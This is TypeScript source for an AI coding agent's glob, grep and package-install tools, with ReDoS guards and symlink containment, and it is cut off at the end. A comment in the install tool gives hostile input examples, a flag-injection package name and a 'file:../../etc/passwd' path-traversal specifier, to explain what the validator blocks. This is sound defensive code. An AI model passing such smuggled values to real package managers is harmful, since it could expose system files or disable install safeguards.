globTool: Tool<GlobInput, GlobOutput> = {\n name: 'glob',\n category: 'Filesystem',\n description:\n 'Find files by path pattern. Use index-backed `codebase-search` first for code symbols or concepts when it is live.',\n usageHint:\n 'PATH DISCOVERY AND SEARCH SCOPING:\\n\\n' +\n '- When `codebase-search` is live, use it first for code concepts; use `glob` for filenames, path patterns, and non-indexed files.\\n' +\n '- Combine with `path` and `limit`.\\n' +\n '- Default ignores common build/dependency directories.\\n' +\n 'Much more efficient than shell `find` for most use cases inside the agent.',\n selection: {\n doNotUseWhen: 'you need to search inside file contents.',\n useInstead: ['grep'],\n },\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n icon: 'folder',\n maxOutputBytes: 65_536,\n timeoutMs: 5_000,\n inputSchema: {\n type: 'object',\n properties: {\n pattern: {\n type: 'string',\n description: 'Glob pattern to match (e.g. \"**/*.ts\", \"src/**\").',\n },\n path: {\n type: 'string',\n description: 'Base directory to search from (defaults to project root).',\n },\n limit: {\n type: 'integer',\n description: 'Maximum number of results to return (default 1000, max 5000).',\n },\n },\n required: ['pattern'],\n },\n async execute(input, ctx, opts) {\n if (!input?.pattern) throw new Error('glob: pattern is required');\n const signal = opts?.signal;\n // `safeResolveReal` validates that the input base \u2014 even if symlinked \u2014\n // resolves to a real path inside the project root (or `~/.wrongstack`).\n // Throws on escape, matching how single-file tools (`read`, `edit`,\n // `write`) reject out-of-root paths: the caller named the base explicitly.\n const base = input.path ? await safeResolveReal(input.path, ctx) : ctx.cwd;\n const limit = Math.max(1, Math.min(input.limit ?? 1000, 5000));\n\n // Full gitignore semantics (globs, anchors, negation, dir-only rules)\n // rooted at the walk base \u2014 a project whose build output isn't in the\n // static DEFAULT_IGNORE list would otherwise be walked in full.\n const isGitIgnored = await loadGitignoreMatcher(base);\n const re = compileGlob(input.pattern);\n\n const results: { rel: string; mtime: number }[] = [];\n let truncated = false;\n const pushResult = async (full: string): Promise<void> => {\n // Bail before stat if a concurrent worker has already filled the budget \u2014\n // the limit is a global cap across all parallel walkers, not per-worker.\n if (truncated || results.length >= limit) {\n truncated = true;\n return;\n }\n try {\n const st = await fs.stat(full);\n // Re-check after the await: another worker may have filled the budget\n // while we were waiting on fs.stat.\n if (truncated || results.length >= limit) {\n truncated = true;\n return;\n }\n results.push({ rel: full, mtime: st.mtimeMs });\n if (results.length >= limit) truncated = true;\n } catch {\n // skip stat error\n }\n };\n const walk = async (dir: string, relPrefix: string): Promise<void> => {\n // Abort check per directory: a huge tree walk must stop promptly on\n // Ctrl+C instead of running to completion with a discarded result.\n if (signal?.aborted) {\n truncated = true;\n return;\n }\n /* v8 ignore start -- the inner limit guards (file push + post-recursion return) always stop first; this re-entry guard is defensive. */\n if (results.length >= limit) {\n truncated = true;\n return;\n }\n /* v8 ignore stop */\n let entries: import('node:fs').Dirent[];\n try {\n entries = await fs.readdir(dir, { withFileTypes: true });\n } catch {\n return;\n }\n const subdirs: Array<{ full: string; rel: string }> = [];\n const matchedFiles: string[] = [];\n for (const e of entries) {\n const name = e.name;\n if (DEFAULT_IGNORE.includes(name)) continue;\n const rel = relPrefix ? `${relPrefix}/${name}` : name;\n const full = path.join(dir, name);\n if (e.isDirectory()) {\n if (isGitIgnored(rel, true)) continue;\n subdirs.push({ full, rel });\n } else if (e.isFile()) {\n if (isGitIgnored(rel, false)) continue;\n re.lastIndex = 0;\n const relMatch = re.test(rel);\n re.lastIndex = 0;\n const nameMatch = re.test(name);\n if (relMatch || nameMatch) {\n matchedFiles.push(full);\n }\n } else if (e.isSymbolicLink()) {\n try {\n const st = await fs.stat(full);\n if (st.isDirectory()) {\n if (isGitIgnored(rel, true)) continue;\n // CWE-59 containment: a symlink inside the workspace can point\n // outside it. Before recursing into it (or including the\n // resolved file in results), realpath the symlink and verify\n // its target is still inside the project root. Skip silently\n // on escape so a single bad symlink doesn't poison the whole\n // walk.\n const real = await fs.realpath(full);\n await assertRealInsideRoot(real, ctx);\n subdirs.push({ full, rel });\n } else if (st.isFile()) {\n if (isGitIgnored(rel, false)) continue;\n const real = await fs.realpath(full);\n await assertRealInsideRoot(real, ctx);\n re.lastIndex = 0;\n const relMatch = re.test(rel);\n re.lastIndex = 0;\n const nameMatch = re.test(name);\n if (relMatch || nameMatch) matchedFiles.push(full);\n }\n } catch {\n // Skip broken symlink, stat error, OR out-of-root target. All\n // three should fail the walk without aborting the whole search.\n }\n }\n if (truncated) return;\n }\n await mapWithConcurrency(matchedFiles, WALK_CONCURRENCY, pushResult);\n if (truncated) return;\n // Subdir walks: each one re-checks the limit at entry (re-entry guard),\n // but we also stop dispatching new walks once truncated, so siblings of\n // a hit-limit subdir don't keep adding results.\n const remainingSubdirs = truncated ? [] : subdirs;\n await mapWithConcurrency(remainingSubdirs, WALK_CONCURRENCY, ({ full, rel }) => walk(full, rel));\n };\n await walk(base, '');\n results.sort((a, b) => b.mtime - a.mtime);\n return { files: results.map((r) => r.rel), truncated };\n },\n};\n", "/**\n * Bounded-concurrency async map.\n *\n * Runs `fn` over `items` with at most `limit` in-flight promises. Order of\n * results matches input order. Errors reject the returned promise on the first\n * failure \u2014 the remaining in-flight work is not awaited; this matches\n * `Promise.all` semantics for callers that want fail-fast behavior.\n *\n * Lives here (rather than imported from `@wrongstack/bench`) because:\n * 1. tools sits below bench in the dependency graph \u2014 bench is a consumer of\n * tools, never the other way around.\n * 2. The semantics used by grep/glob are deliberately simple (fail-fast,\n * no cancellation, no progress) and don't need bench's richer options.\n */\nexport async function mapWithConcurrency<T, R>(\n items: readonly T[],\n limit: number,\n fn: (item: T) => Promise<R>,\n): Promise<R[]> {\n if (items.length === 0) return [];\n const effectiveLimit = Math.max(1, Math.min(limit | 0, items.length));\n const results: R[] = new Array(items.length);\n let nextIndex = 0;\n\n const worker = async (): Promise<void> => {\n while (true) {\n const i = nextIndex++;\n if (i >= items.length) return;\n results[i] = await fn(items[i] as T);\n }\n };\n\n await Promise.all(Array.from({ length: effectiveLimit }, worker));\n return results;\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\nimport { spawn } from 'node:child_process';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { ToolValidationError } from '@wrongstack/core/types';\nimport { buildChildEnv, compileGlob, DEFAULT_WALK_IGNORE_DIRS } from '@wrongstack/core/utils';\nimport { mapWithConcurrency } from './_concurrency.js';\nimport { capSubject, compileUserRegex } from './_regex.js';\nimport { loadGitignoreMatcher } from './codebase-index/gitignore.js';\nimport { isBinaryBuffer, safeResolve } from './_util.js';\ninterface GrepInput {\n pattern: string;\n path?: string | undefined;\n glob?: string | undefined;\n output_mode?: 'content' | 'files_with_matches' | 'count' | undefined;\n context_lines?: number | undefined;\n case_insensitive?: boolean | undefined;\n limit?: number | undefined;\n}\n\ninterface GrepOutput {\n matches: string[];\n count: number;\n truncated: boolean;\n used: 'rg' | 'native';\n}\n\nconst DEFAULT_IGNORE = DEFAULT_WALK_IGNORE_DIRS;\nconst NATIVE_SCAN_CONCURRENCY = 32;\nconst NATIVE_READ_CHUNK_BYTES = 64 * 1024;\nconst NATIVE_MAX_FILE_BYTES = 1_000_000;\n\nexport const grepTool: Tool<GrepInput, GrepOutput> = {\n name: 'grep',\n category: 'Search',\n description:\n 'Search exact file contents using a regular expression. Use index-backed `codebase-search` first for symbol or concept discovery when it is live. ' +\n 'Prefers ripgrep for speed and features when available.',\n usageHint:\n 'EXACT-TEXT AND REGEX SEARCH:\\n\\n' +\n '- When `codebase-search` is live, use it first for symbols and concepts; use `grep` for exact text, regexes, unsupported content, and concrete usage sites.\\n' +\n '- `pattern` is a regular expression.\\n' +\n '- Use `output_mode: \"content\"` (default) to get matching lines with context.\\n' +\n '- Use `\"files_with_matches\"` when you only need the list of files.\\n' +\n '- Use `\"count\"` for quick statistics.\\n' +\n '- `glob` and `path` let you narrow the search scope significantly.\\n' +\n '- Always prefer this over `bash grep` when searching code.',\n selection: {\n doNotUseWhen: 'you only need to locate files by name or path pattern.',\n useInstead: ['glob'],\n },\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n icon: 'search',\n maxOutputBytes: 131_072,\n timeoutMs: 10_000,\n inputSchema: {\n type: 'object',\n properties: {\n pattern: {\n type: 'string',\n description: 'Regular expression pattern to search for in file contents.',\n },\n path: {\n type: 'string',\n description: 'Limit search to this directory or file (relative to project root).',\n },\n glob: {\n type: 'string',\n description: 'Glob filter for which files to include (e.g. \"**/*.ts\", \"src/**\").',\n },\n output_mode: {\n type: 'string',\n enum: ['content', 'files_with_matches', 'count'],\n description: 'Return style: detailed matches, just file list, or count only.',\n },\n context_lines: {\n type: 'integer',\n description: 'How many lines of surrounding context to include with each match.',\n },\n case_insensitive: {\n type: 'boolean',\n description: 'Ignore case when matching.',\n },\n limit: {\n type: 'integer',\n description: 'Maximum number of matches to return.',\n },\n },\n required: ['pattern'],\n },\n async execute(input, ctx, opts) {\n let final: GrepOutput | undefined;\n const executeStream = grepTool.executeStream;\n if (!executeStream) throw new Error('grepTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('grep: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<GrepOutput>> {\n if (!input?.pattern) {\n throw new ToolValidationError({\n message: 'grep: pattern is required',\n field: 'pattern',\n });\n }\n const base = input.path ? safeResolve(input.path, ctx) : ctx.cwd;\n const mode = input.output_mode ?? 'content';\n const limit = Math.max(1, Math.min(input.limit ?? 200, 2000));\n const validation = compileUserRegex(input.pattern, input.case_insensitive ? 'i' : '');\n if (!validation.ok) {\n throw new ToolValidationError({\n message: `grep: ${validation.reason}`,\n field: 'pattern',\n });\n }\n\n const rgAvailable = await detectRg(opts.signal);\n if (rgAvailable) {\n try {\n yield* runRgStream(input, base, mode, limit, opts.signal);\n return;\n } catch {\n // fall through to native\n }\n }\n yield { type: 'log', text: 'Falling back to native grep\u2026' };\n const out = await runNative(input, base, mode, limit, opts.signal);\n yield { type: 'final', output: out };\n },\n};\n\nasync function detectRg(signal: AbortSignal): Promise<boolean> {\n return new Promise((resolve) => {\n try {\n const p = spawn('rg', ['--version'], { env: buildChildEnv(), stdio: 'ignore', signal, windowsHide: true });\n p.on('error', () => resolve(false));\n p.on('close', (code) => resolve(code === 0));\n } catch {\n resolve(false);\n }\n });\n}\n\nasync function* runRgStream(\n input: GrepInput,\n base: string,\n mode: 'content' | 'files_with_matches' | 'count',\n limit: number,\n signal: AbortSignal,\n): AsyncGenerator<ToolStreamEvent<GrepOutput>> {\n const args: string[] = ['--no-heading'];\n if (input.case_insensitive) args.push('-i');\n if (mode === 'files_with_matches') args.push('-l');\n if (mode === 'count') args.push('-c');\n if (mode === 'content') {\n args.push('-n');\n if (input.context_lines) args.push('-C', String(input.context_lines));\n }\n for (const ignored of DEFAULT_IGNORE) {\n args.push('--glob', `!${ignored}/**`, '--glob', `!**/${ignored}/**`);\n }\n // rg only honors .gitignore inside a git repository; pass it explicitly so\n // non-repo trees (scratch dirs, exported archives) get the same pruning as\n // repos and as the native fallback.\n const gitignorePath = path.join(base, '.gitignore');\n if (await fs.access(gitignorePath).then(() => true, () => false)) {\n args.push('--ignore-file', gitignorePath);\n }\n if (input.glob) args.push('--glob', input.glob);\n args.push('--', input.pattern, base);\n\n const matches: string[] = [];\n let buf = '';\n let totalLines = 0;\n let totalCount = 0;\n let batchSinceFlush = 0;\n const FLUSH_AT = 16; // yield a partial_output every 16 matches\n // Cap on the in-progress line buffer. Without this, a single huge \"line\"\n // (e.g. a file with no newlines under a symlink) plus a fast producer\n // would let `buf` grow unbounded. 1 MB comfortably holds any realistic\n // grep hit; beyond that we kill the child and surface a truncation.\n const MAX_BUF_BYTES = 1_000_000;\n let bufOverflow = false;\n\n const child = spawn('rg', args, { signal, env: buildChildEnv(), stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true });\n\n type Chunk = { kind: 'out' | 'close' | 'error'; data: string };\n const queue: Chunk[] = [];\n let waiter: (() => void) | undefined;\n const wake = () => {\n if (waiter) {\n const w = waiter;\n waiter = undefined;\n w();\n }\n };\n child.stdout?.on('data', (c) => {\n queue.push({ kind: 'out', data: c.toString() });\n wake();\n });\n child.on('error', (e) => {\n queue.push({ kind: 'error', data: e.message });\n wake();\n });\n child.on('close', () => {\n queue.push({ kind: 'close', data: '' });\n wake();\n });\n\n let pendingBatch: string[] = [];\n let errored = false;\n for (;;) {\n while (queue.length === 0) {\n await new Promise<void>((r) => {\n waiter = r;\n });\n }\n const c = expectDefined(queue.shift());\n if (c.kind === 'error') {\n errored = true;\n continue;\n }\n if (c.kind === 'close') break;\n buf += c.data;\n // Guard against a pathological producer (e.g. matching a huge binary\n // without newlines) pinning memory. Kill the child and mark the result\n // truncated; whatever we already captured stays intact.\n if (buf.length > MAX_BUF_BYTES && !bufOverflow) {\n bufOverflow = true;\n buf = buf.slice(-MAX_BUF_BYTES);\n try {\n child.kill('SIGTERM');\n } catch {\n /* ignore */\n }\n }\n const idx = buf.lastIndexOf('\\n');\n if (idx === -1) continue;\n const ready = buf.slice(0, idx);\n buf = buf.slice(idx + 1);\n for (const line of ready.split('\\n')) {\n if (!line) continue;\n totalLines++;\n if (mode === 'count') totalCount += parseRgCountLine(line);\n if (matches.length < limit) {\n matches.push(line);\n pendingBatch.push(line);\n batchSinceFlush++;\n }\n }\n if (batchSinceFlush >= FLUSH_AT) {\n yield {\n type: 'partial_output',\n text: pendingBatch.join('\\n'),\n data: { matches_so_far: matches.length },\n };\n pendingBatch = [];\n batchSinceFlush = 0;\n }\n }\n\n if (buf.trim()) {\n for (const line of buf.split('\\n')) {\n if (!line) continue;\n totalLines++;\n if (mode === 'count') totalCount += parseRgCountLine(line);\n if (matches.length < limit) {\n matches.push(line);\n pendingBatch.push(line);\n }\n }\n }\n if (pendingBatch.length > 0) {\n yield {\n type: 'partial_output',\n text: pendingBatch.join('\\n'),\n data: { matches_so_far: matches.length },\n };\n }\n if (errored) throw new Error('rg: spawn error');\n\n yield {\n type: 'final',\n output: {\n matches,\n count: mode === 'count' ? totalCount : totalLines,\n truncated: totalLines > limit || bufOverflow,\n used: 'rg',\n },\n };\n}\n\nfunction parseRgCountLine(line: string): number {\n const idx = line.lastIndexOf(':');\n if (idx === -1) return 0;\n const n = Number.parseInt(line.slice(idx + 1), 10);\n return Number.isFinite(n) ? n : 0;\n}\n\nasync function runNative(\n input: GrepInput,\n base: string,\n mode: 'content' | 'files_with_matches' | 'count',\n limit: number,\n signal: AbortSignal,\n): Promise<GrepOutput> {\n const flags = input.case_insensitive ? 'i' : '';\n const compiled = compileUserRegex(input.pattern, flags);\n if (!compiled.ok) {\n throw new ToolValidationError({\n message: `grep: ${compiled.reason}`,\n field: 'pattern',\n });\n }\n const re = compiled.regex;\n const globRe = input.glob ? compileGlob(input.glob) : null;\n // rg honors .gitignore natively; give the fallback the same pruning so a\n // project whose artifacts aren't in DEFAULT_IGNORE isn't scanned in full.\n const isGitIgnored = await loadGitignoreMatcher(base);\n const matches: string[] = [];\n const countOnlyFirstHit = mode === 'count' && limit === 1;\n const maxBytes = mode === 'content' ? NATIVE_MAX_FILE_BYTES : Math.min(NATIVE_MAX_FILE_BYTES, 256 * 1024);\n let total = 0;\n let stopped = false;\n\n const scanFile = async (full: string, name: string): Promise<void> => {\n if (stopped || signal.aborted) return;\n if (globRe && !globRe.test(name) && !globRe.test(full)) return;\n if (globRe) globRe.lastIndex = 0;\n\n try {\n const stat = await fs.stat(full);\n if (!stat.isFile() || stat.size > maxBytes || stopped || signal.aborted) return;\n\n const file = await fs.open(full, 'r');\n try {\n let bytesReadTotal = 0;\n let lineNumber = 0;\n let fileHits = 0;\n let leftover = '';\n let binaryChecked = false;\n const buffer = Buffer.allocUnsafe(Math.min(NATIVE_READ_CHUNK_BYTES, maxBytes));\n\n while (!stopped && !signal.aborted && bytesReadTotal < maxBytes) {\n const remaining = maxBytes - bytesReadTotal;\n const { bytesRead } = await file.read(buffer, 0, Math.min(buffer.length, remaining), null);\n if (bytesRead === 0) break;\n const chunk = buffer.subarray(0, bytesRead);\n if (!binaryChecked) {\n binaryChecked = true;\n if (isBinaryBuffer(chunk)) return;\n }\n bytesReadTotal += bytesRead;\n const text = leftover + chunk.toString('utf8');\n const lines = text.split(/\\r?\\n/);\n leftover = lines.pop() ?? '';\n\n for (const rawLine of lines) {\n if (stopped || signal.aborted) break;\n lineNumber++;\n const ln = capSubject(rawLine);\n re.lastIndex = 0;\n if (!re.test(ln)) continue;\n\n fileHits++;\n total++;\n\n if (mode === 'content') {\n if (matches.length < limit) matches.push(`${full}:${lineNumber}:${ln}`);\n } else if (mode === 'files_with_matches') {\n if (fileHits === 1 && matches.length < limit) matches.push(full);\n break;\n } else if (fileHits === 1 && matches.length < limit) {\n matches.push(`${full}:${countOnlyFirstHit ? 1 : 0}`);\n }\n\n if (countOnlyFirstHit || (mode !== 'content' && matches.length >= limit)) {\n stopped = true;\n break;\n }\n }\n\n if (mode === 'files_with_matches' && fileHits > 0) break;\n }\n\n if (!stopped && !signal.aborted && leftover.length > 0) {\n lineNumber++;\n const ln = capSubject(leftover);\n re.lastIndex = 0;\n if (re.test(ln)) {\n fileHits++;\n total++;\n if (mode === 'content') {\n if (matches.length < limit) matches.push(`${full}:${lineNumber}:${ln}`);\n } else if (mode === 'files_with_matches') {\n if (matches.length < limit) matches.push(full);\n } else if (matches.length < limit) {\n matches.push(`${full}:${countOnlyFirstHit ? 1 : fileHits}`);\n }\n }\n }\n\n if (fileHits > 0) {\n if (mode === 'count') {\n const idx = matches.findIndex((entry) => entry.startsWith(`${full}:`));\n if (idx !== -1) matches[idx] = `${full}:${fileHits}`;\n }\n if (mode === 'files_with_matches' && matches.length >= limit) stopped = true;\n }\n\n if (mode === 'content' && matches.length >= limit) stopped = true;\n if (mode === 'count' && matches.length >= limit && (countOnlyFirstHit || mode !== 'count')) stopped = true;\n } finally {\n await file.close();\n }\n } catch {\n // skip read errors\n }\n };\n\n const walk = async (dir: string, relPrefix: string): Promise<void> => {\n if (stopped || signal.aborted) return;\n let entries: import('node:fs').Dirent[];\n try {\n entries = await fs.readdir(dir, { withFileTypes: true });\n } catch {\n return;\n }\n const files: Array<{ full: string; name: string }> = [];\n const subdirs: Array<{ full: string; rel: string }> = [];\n for (const e of entries) {\n if (stopped) return;\n if (DEFAULT_IGNORE.includes(e.name)) continue;\n if (e.isSymbolicLink()) continue;\n const rel = relPrefix ? `${relPrefix}/${e.name}` : e.name;\n const full = path.join(dir, e.name);\n if (e.isDirectory()) {\n if (isGitIgnored(rel, true)) continue;\n subdirs.push({ full, rel });\n } else if (e.isFile()) {\n if (isGitIgnored(rel, false)) continue;\n files.push({ full, name: e.name });\n }\n }\n await mapWithConcurrency(files, NATIVE_SCAN_CONCURRENCY, ({ full, name }) => scanFile(full, name));\n await mapWithConcurrency(subdirs, Math.min(16, NATIVE_SCAN_CONCURRENCY), ({ full, rel }) =>\n walk(full, rel),\n );\n };\n await walk(base, '');\n\n return {\n matches,\n count: total,\n truncated: stopped,\n used: 'native',\n };\n}\n", "/**\n * Compile a user-supplied regex with conservative bounds against ReDoS.\n *\n * Node's regex engine (V8) is backtracking-based and cannot interrupt a\n * synchronous match \u2014 a pattern like `(a+)+$` against a sufficiently long\n * line will pin a worker for seconds. The executor's outer `timeoutMs` only\n * fires between async boundaries, so a long regex eval inside a sync loop\n * is uninterruptible.\n *\n * We can't fully prevent ReDoS without an alternative engine (re2-wasm), but\n * we can sharply limit the blast radius:\n *\n * 1. Cap pattern length \u2014 practically all legitimate user patterns are\n * under 256 characters. A 4 KB pattern is almost certainly malicious\n * or a copy-paste accident.\n * 2. Reject patterns containing the most obvious super-linear structures.\n * This is a coarse filter (false-positives are likely; we accept that\n * for hostile-input contexts).\n *\n * Callers should additionally bound the *subject* length (e.g. by capping\n * line size before matching).\n */\n\nconst MAX_PATTERN_LEN = 256;\n\n// Heuristics for catastrophic-backtracking constructs. Not exhaustive; bias\n// toward false-positives in tools that accept LLM-generated input.\nconst DANGEROUS_PATTERNS: ReadonlyArray<RegExp> = [\n // (a+)+, (.*)+, etc \u2014 nested quantifier on a group with internal quantifier\n /(\\([^)]*[+*][^)]*\\))[+*]/,\n /(\\(\\?:[^)]*[+*][^)]*\\))[+*]/,\n // Adjacent quantifiers: a++ a*+\n /[+*]{2,}/,\n // Quantifier on alternation with length 2+\n /\\([^|)]+\\|[^)]+\\)[+*][+*]/,\n // Greedy quantifier inside lookahead/lookbehind \u2014 (?!.*a+)\n /[([][^)\\]]*[+*][^)\\]]*[)\\]][^)]*\\?\\??/,\n];\n\nexport interface CompileResult {\n ok: true;\n regex: RegExp;\n}\n\nexport interface CompileFail {\n ok: false;\n reason: string;\n}\n\nexport function compileUserRegex(pattern: string, flags: string): CompileResult | CompileFail {\n if (typeof pattern !== 'string') {\n return { ok: false, reason: 'pattern must be a string' };\n }\n if (pattern.length === 0) {\n return { ok: false, reason: 'pattern is empty' };\n }\n if (pattern.length > MAX_PATTERN_LEN) {\n return { ok: false, reason: `pattern exceeds ${MAX_PATTERN_LEN} characters` };\n }\n for (const rx of DANGEROUS_PATTERNS) {\n if (rx.test(pattern)) {\n return {\n ok: false,\n reason:\n 'pattern looks vulnerable to catastrophic backtracking \u2014 rewrite without nested quantifiers',\n };\n }\n }\n try {\n return { ok: true, regex: new RegExp(pattern, flags) };\n } catch (err) {\n return {\n ok: false,\n reason: err instanceof Error ? err.message : 'invalid regex',\n };\n }\n}\n\n/**\n * Truncate a subject line to a safe length for synchronous regex eval.\n * The cap is conservative; tools that need exact-line matching against very\n * long lines should use ripgrep externally rather than the native walker.\n */\nexport const MAX_SUBJECT_LEN = 64 * 1024;\n\nexport function capSubject(line: string): string {\n return line.length > MAX_SUBJECT_LEN ? line.slice(0, MAX_SUBJECT_LEN) : line;\n}\n", "import { join } from 'node:path';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport {\n detectEcosystem as detectPackageEcosystem,\n recordPackageAction,\n} from '@wrongstack/core/coordination';\nimport { spawnStream } from './_spawn-stream.js';\nimport { detectPackageManager, normalizeCommandOutput, safeResolve } from './_util.js';\nimport { tryLegacyPackageOperation } from './languages/legacy-bridge.js';\n\ninterface InstallInput {\n packages?: string | string[] | undefined;\n save?: 'dependency' | 'dev' | 'optional' | undefined;\n cwd?: string | undefined;\n dry_run?: boolean | undefined;\n global?: boolean | undefined;\n /**\n * Allow package lifecycle scripts (`preinstall`, `install`, `postinstall`,\n * `prepare`, \u2026) to run during the install. Defaults to `false` \u2014 installs\n * pass `--ignore-scripts` so a malicious package cannot execute arbitrary\n * code at install time. Setting `true` opts in to the legacy behavior.\n */\n lifecycleScripts?: boolean | undefined;\n}\n\ninterface InstallOutput {\n packages: string[];\n exit_code: number;\n output: string;\n dry_run: boolean;\n truncated: boolean;\n}\n\nexport const installTool: Tool<InstallInput, InstallOutput> = {\n name: 'install',\n category: 'Package Management',\n description:\n 'Install, update or manage packages using the detected package manager (pnpm/npm/yarn). ' +\n 'Strongly preferred over raw shell commands for dependency management because it is structured and safer.',\n usageHint:\n 'ALWAYS USE THIS INSTEAD OF BASH FOR PACKAGE WORK:\\n\\n' +\n '- Empty `packages` \u2192 normal `install` (respects lockfile).\\n' +\n '- Provide names \u2192 adds/updates specific packages.\\n' +\n '- `dry_run: true` for safe preview.\\n' +\n '- Set `save` appropriately.\\n' +\n 'This tool has proper capability declaration and is heavily recommended in the security posture of the project.',\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n icon: 'package',\n timeoutMs: 120_000,\n capabilities: ['package.install', 'shell.restricted'],\n inputSchema: {\n type: 'object',\n properties: {\n packages: {\n type: 'string',\n description:\n 'Package(s) to install: single name, comma-separated list, or empty for all deps',\n },\n save: {\n type: 'string',\n enum: ['dependency', 'dev', 'optional'],\n description:\n 'Where to save the package(s): \"dependency\", \"devDependencies\", or \"optionalDependencies\".',\n },\n cwd: {\n type: 'string',\n description: 'Working directory for the install command (must stay inside project).',\n },\n dry_run: {\n type: 'boolean',\n description:\n 'If true, show what would be installed without actually modifying package.json or node_modules.',\n },\n global: {\n type: 'boolean',\n description: 'Whether to perform a global install (use with caution).',\n },\n lifecycleScripts: {\n type: 'boolean',\n description:\n 'Opt in to running package lifecycle scripts (preinstall / install / postinstall / prepare / \u2026). Default: false \u2014 installs pass --ignore-scripts so a malicious package cannot execute arbitrary code at install time. Set true to opt back in to the legacy npm/pnpm/yarn default.',\n },\n },\n },\n async execute(input, ctx, opts) {\n let final: InstallOutput | undefined;\n const executeStream = installTool.executeStream;\n if (!executeStream) throw new Error('installTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('install: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<InstallOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n if (!input.global) {\n const pkgList = input.packages\n ? Array.isArray(input.packages)\n ? input.packages\n : input.packages.split(',').map((p) => p.trim())\n : [];\n const bridge = await tryLegacyPackageOperation(\n 'package-install',\n {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n },\n pkgList,\n );\n if (bridge?.outcome) {\n const outcome = bridge.outcome;\n const run = outcome.run;\n yield {\n type: 'final',\n output: {\n exit_code: run?.exitCode ?? 0,\n packages: [],\n output: normalizeCommandOutput(\n run?.output || outcome.manifestsChanged.join(', ') || 'ok',\n ),\n truncated: run?.truncated ?? false,\n dry_run: input.dry_run ?? false,\n },\n };\n return;\n }\n }\n\n const pkgManager = await detectPackageManager(cwd);\n yield { type: 'log', text: `Resolving with ${pkgManager}\u2026`, data: { phase: 'resolve' } };\n\n const save = input.save === 'dev' ? '-D' : input.save === 'optional' ? '-O' : '';\n const globalFlag = input.global ? ['-g'] : [];\n // Default to ignoring lifecycle scripts. A package's `postinstall`\n // runs with full shell access inside the project; without this gate a\n // typo-squatted or compromised dependency can execute arbitrary code\n // the moment it lands in `node_modules`. Opt-in only.\n const ignoreScripts = input.lifecycleScripts !== true;\n\n const args: string[] = [];\n if (input.dry_run) args.push('--dry-run');\n if (ignoreScripts) args.push('--ignore-scripts');\n if (pkgManager === 'pnpm') {\n if (save) args.push(save);\n args.push('add', ...globalFlag);\n } else if (pkgManager === 'yarn') {\n args.push('add', ...globalFlag);\n } else {\n args.push('install', ...globalFlag);\n }\n\n const pkgList = input.packages\n ? (Array.isArray(input.packages) ? input.packages : input.packages.split(',')).map((p) =>\n p.trim(),\n )\n : [];\n\n // Validate package names to prevent flag injection and path traversal.\n // A name like \"--ignore-scripts=false\" would be interpreted as a flag;\n // \"file:../../etc/passwd\" as a local path specifier.\n // Cap at 200 chars to prevent ReDoS on the regex engine (npm's max is 214).\n const PKG_NAME_RE = /^(?:@[a-z0-9._-]+\\/)?[a-z0-9._-]+$/i;\n for (const pkg of pkgList) {\n if (!PKG_NAME_RE.test(pkg) || pkg.startsWith('-') || pkg.length > 200) {\n yield {\n type: 'final',\n output: {\n packages: pkgList,\n exit_code: 1,\n output: `Invalid package name \"${pkg}\". Names must match ${PKG_NAME_RE} and not start with \"-\".`,\n dry_run: Boolean(input.dry_run),\n truncated: false,\n },\n };\n return;\n }\n }\n\n if (pkgList.length > 0) args.push(...pkgList);\n\n yield {\n type: 'log',\n text: `Fetching ${pkgList.length || 'all'} packages\u2026`,\n data: { phase: 'fetch' },\n };\n\n const result = yield* spawnStream({\n cmd: pkgManager,\n args,\n cwd,\n signal: opts.signal,\n maxBytes: 100_000,\n });\n\n const output: InstallOutput = {\n packages: pkgList,\n exit_code: result.exitCode,\n output: normalizeCommandOutput(result.stdout || result.stderr || result.error || ''),\n dry_run: args.includes('--dry-run'),\n truncated: result.truncated,\n };\n\n // Record package authorship after a successful, non-dry-run install.\n // Skip global installs (no manifest modification) and dry runs.\n const isSuccess = result.exitCode === 0 && !output.dry_run && !input.global;\n if (isSuccess && pkgList.length > 0) {\n const trackerOpts = ctx.meta?.['packageTrackerOpts'] as\n | {\n storageDir: string;\n projectRoot: string;\n }\n | undefined;\n if (trackerOpts) {\n const manifestPath = resolveManifestPath(cwd, pkgManager);\n for (const pkg of pkgList) {\n try {\n await recordPackageAction(trackerOpts, {\n manifestPath,\n packageName: pkg,\n versionSpec: 'latest', // exact version resolved by package manager at install time\n ecosystem: detectPackageEcosystem(manifestPath),\n agentId: ctx.agentId,\n agentName: ctx.agentName,\n sessionId: ctx.session.id,\n });\n } catch {\n // Best-effort \u2014 a failed record doesn't fail the install\n }\n }\n }\n }\n\n // P2 #5: record the package operation as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `install-${Date.now()}`,\n toolName: 'install',\n ts: new Date().toISOString(),\n input: { packages: pkgList, cwd, dry_run: Boolean(input.dry_run) },\n outcome: output.dry_run\n ? 'dry run'\n : result.exitCode === 0\n ? `installed ${pkgList.length || 'all'} packages`\n : `failed (exit ${result.exitCode})`,\n risk: 'package',\n });\n\n yield { type: 'final', output };\n },\n};\n\nfunction resolveManifestPath(cwd: string, pkgManager: string): string {\n switch (pkgManager) {\n case 'pnpm':\n case 'yarn':\n case 'npm':\n return join(cwd, 'package.json');\n /* v8 ignore next 2 -- pkgManager is always pnpm/yarn/npm; the default is defensive. */\n default:\n return join(cwd, 'package.json');\n }\n}\n", "import * as fs from 'node:fs/promises';\nimport { deepMerge as deepMergeCore } from 